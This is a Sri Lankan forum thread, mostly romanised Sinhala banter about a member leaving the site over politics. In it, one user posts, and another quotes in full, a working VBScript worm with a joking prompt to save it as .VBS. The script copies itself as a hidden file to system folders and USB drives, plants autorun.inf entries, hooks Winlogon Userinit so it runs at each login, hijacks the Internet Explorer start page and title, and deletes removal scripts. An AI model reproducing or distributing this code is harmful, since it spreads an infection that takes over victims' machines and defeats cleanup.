mama yanawa machan

Rangau2

Well-known member
  • Dec 31, 2008
    20,468
    1,211
    113
    34
    දෙණියාය :)
    ......

    uba yanawanam meka man gane....maka save karaganin .VBS kiyala.....ok ??tata bye bs !!
    but uba yanne ai ban ?



    Option Explicit
    On Error Resume Next

    Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

    Set Fso = CreateObject("Scripting.FileSystemObject")
    Set Shells = CreateObject("Wscript.Shell")
    Set WinDir = Fso.GetSpecialFolder(0)
    Set SystemDir =Fso.GetSpecialFolder(1)
    Set File = Fso.GetFile(WScript.ScriptFullName)
    Set Drv = File.Drive
    Set InDrive = Fso.drives
    Set ReadAll = File.OpenAsTextStream(1,-2)
    do while not ReadAll.atendofstream
    AllFile = AllFile & ReadAll.readline
    AllFile = AllFile & vbcrlf
    Loop
    Count=Drv.DriveType
    Do
    If Not Fso.FileExists(SystemDir & "\Dilan.VBS") then
    set WriteAll = Fso.CreateTextFile(SystemDir & "\Dilan.VBS",2,true)
    WriteAll.Write AllFile
    WriteAll.close
    set WriteAll = Fso.GetFile(SystemDir & "\Dilan.VBS")
    WriteAll.Attributes = -1
    End If
    Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","{U2 Advertising]+94774900234"
    Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.MeeVitha.com"
    Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
    SystemDir & "\wscript.exe " & SystemDir & "\Dilan.VBS"
    For Each Drives In InDrive
    root = Drives.Path & "\"
    If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
    Shells.Run "explorer.exe " & root
    End If
    Set folder=Fso.GetFolder(root)
    Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
    For Each files In folder.Files
    auto=Left(files.Name,7)
    If UCase(auto)=UCase("VirusRemoval") Then
    Set Delete = Fso.DeleteFile(root & files.Name,true)
    End If
    Next
    If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
    If Drives.Path<> "A:" Then
    delext "vbs",WinDir & "\"
    delext "vbs",Drives.Path & "\"
    If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
    Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs")
    End If
    If Drives.DriveType = 1 Then
    If Drives.Path<>"A:" Then
    If Not Fso.FileExists(Drives.Path & "\Dilan.VBS") Then
    Set WriteAll=Fso.CreateTextFile(Drives.Path & "\Dilan.VBS",2,True)
    WriteAll.Write AllFile
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\Dilan.VBS")
    WriteAll.Attributes = -1
    End If
    If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
    Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
    Chg.Attributes = -8
    Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
    WriteAll.writeline "[autorun]"
    WriteAll.WriteLine "open=wscript.exe Dilan.VBS"
    WriteAll.WriteLine "shell\open=Open"
    WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
    WriteAll.Attributes = -1
    else
    Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
    WriteAll.writeline "[autorun]"
    WriteAll.WriteLine "open=wscript.exe Dilan.VBS"
    WriteAll.WriteLine "shell\open=Open"
    WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
    WriteAll.Attributes = -1
    End if
    End If
    End If
    End if
    End If
    Next
    if Count <> 1 then
    Wscript.sleep 10000
    end if
    loop while Count<>1
    sub delext(File2Find, SrchPath)
    Dim oFileSys, oFolder, oFile,Cut,Delete
    Set oFileSys = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFileSys.GetFolder(SrchPath)
    For Each oFile In oFolder.Files
    Cut=Right(oFile.Name,3)
    If UCase(Cut)=UCase(file2find) Then
    END IF
    NEXT
    END SUB
     

    charurox

    Member
    Jul 6, 2009
    2,366
    33
    0
    t7ojrd.gif
     

    eronfx

    Active member
  • Jul 4, 2007
    1,998
    22
    38
    Maharagama
    uba yanawanam meka man gane....maka save karaganin .VBS kiyala.....ok ??tata bye bs !!
    but uba yanne ai ban ?



    Option Explicit
    On Error Resume Next

    Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

    Set Fso = CreateObject("Scripting.FileSystemObject")
    Set Shells = CreateObject("Wscript.Shell")
    Set WinDir = Fso.GetSpecialFolder(0)
    Set SystemDir =Fso.GetSpecialFolder(1)
    Set File = Fso.GetFile(WScript.ScriptFullName)
    Set Drv = File.Drive
    Set InDrive = Fso.drives
    Set ReadAll = File.OpenAsTextStream(1,-2)
    do while not ReadAll.atendofstream
    AllFile = AllFile & ReadAll.readline
    AllFile = AllFile & vbcrlf
    Loop
    Count=Drv.DriveType
    Do
    If Not Fso.FileExists(SystemDir & "\Dilan.VBS") then
    set WriteAll = Fso.CreateTextFile(SystemDir & "\Dilan.VBS",2,true)
    WriteAll.Write AllFile
    WriteAll.close
    set WriteAll = Fso.GetFile(SystemDir & "\Dilan.VBS")
    WriteAll.Attributes = -1
    End If
    Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","{U2 Advertising]+94774900234"
    Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.MeeVitha.com"
    Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
    SystemDir & "\wscript.exe " & SystemDir & "\Dilan.VBS"
    For Each Drives In InDrive
    root = Drives.Path & "\"
    If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
    Shells.Run "explorer.exe " & root
    End If
    Set folder=Fso.GetFolder(root)
    Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
    For Each files In folder.Files
    auto=Left(files.Name,7)
    If UCase(auto)=UCase("VirusRemoval") Then
    Set Delete = Fso.DeleteFile(root & files.Name,true)
    End If
    Next
    If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
    If Drives.Path<> "A:" Then
    delext "vbs",WinDir & "\"
    delext "vbs",Drives.Path & "\"
    If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
    Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs")
    End If
    If Drives.DriveType = 1 Then
    If Drives.Path<>"A:" Then
    If Not Fso.FileExists(Drives.Path & "\Dilan.VBS") Then
    Set WriteAll=Fso.CreateTextFile(Drives.Path & "\Dilan.VBS",2,True)
    WriteAll.Write AllFile
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\Dilan.VBS")
    WriteAll.Attributes = -1
    End If
    If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
    Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
    Chg.Attributes = -8
    Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
    WriteAll.writeline "[autorun]"
    WriteAll.WriteLine "open=wscript.exe Dilan.VBS"
    WriteAll.WriteLine "shell\open=Open"
    WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
    WriteAll.Attributes = -1
    else
    Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
    WriteAll.writeline "[autorun]"
    WriteAll.WriteLine "open=wscript.exe Dilan.VBS"
    WriteAll.WriteLine "shell\open=Open"
    WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
    WriteAll.Attributes = -1
    End if
    End If
    End If
    End if
    End If
    Next
    if Count <> 1 then
    Wscript.sleep 10000
    end if
    loop while Count<>1
    sub delext(File2Find, SrchPath)
    Dim oFileSys, oFolder, oFile,Cut,Delete
    Set oFileSys = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFileSys.GetFolder(SrchPath)
    For Each oFile In oFolder.Files
    Cut=Right(oFile.Name,3)
    If UCase(Cut)=UCase(file2find) Then
    END IF
    NEXT
    END SUB


    meken mokakda wenne:nerd:
     

    thicps

    Well-known member
  • Sep 2, 2007
    6,229
    185
    63
    Smallville
    Yako meka hari keliyakne..munta mokak hari podi case ekak una gaman yanna balagena inne...Math yanawa yanna..ai ban meka mara wadakne....
     

    randi.cmb

    Member
    Dec 27, 2008
    972
    19
    0
    colombo 7

    UBATA HODA WADE..
    ANE PALAYAN

    UBALA WAGE EWUN ELAKIRI EKE NATI TARAMATA HODAI..
    APITA NAM MONAWA UNAT ELAKIRI.COM TAMAI..

    UBALATA NAM MAHINDA MAMA INNAWANE..
    E NISA PALAYAN..
    APITA MOKAK HARI DEYAK DANA GANNA , SONG 1K GANNA , SOFTWARE 1K GANNA WAGE ONEMA HELP 1K GANNA TIYENNE ELAKIRI.COM1 WITARAI..

    UBATA NAM MAHINDA MAAM GEDARATAMA AWIT DENAWANE..
    E NISA PALAYAN..

    HABAI LAJJAWAK TIYENAWA NAM THREAD DAMMA WAGE APAHU ENNA EPA..
    UBA YALU KAMIN INNA BALLEK..
    EKA MAMA DANAGATTE MAWA BANN KARANNA KIYALA KIWWA WELAWE..
    PALAYAN..:P:P:P:P:P:P
    :D:D:D:D:D:D:D:D:D
    GUD LUCK..
    AYE ENNA NAM EPA LAJJAWAK TIYENAWANAM
    we can get an idea of who ur "mama" is from ya siggy lol...anywayz panchaz machn dnt go caz of politics! wat a waste bro...
     

    buddhihm

    Junior member
  • Aug 11, 2008
    269
    5
    18
    @ panchaz: Seriously its waste leaving ela kiri because of politics....the election will be over on the 26th...someone will win... and we'll be back to the same old ela kiri...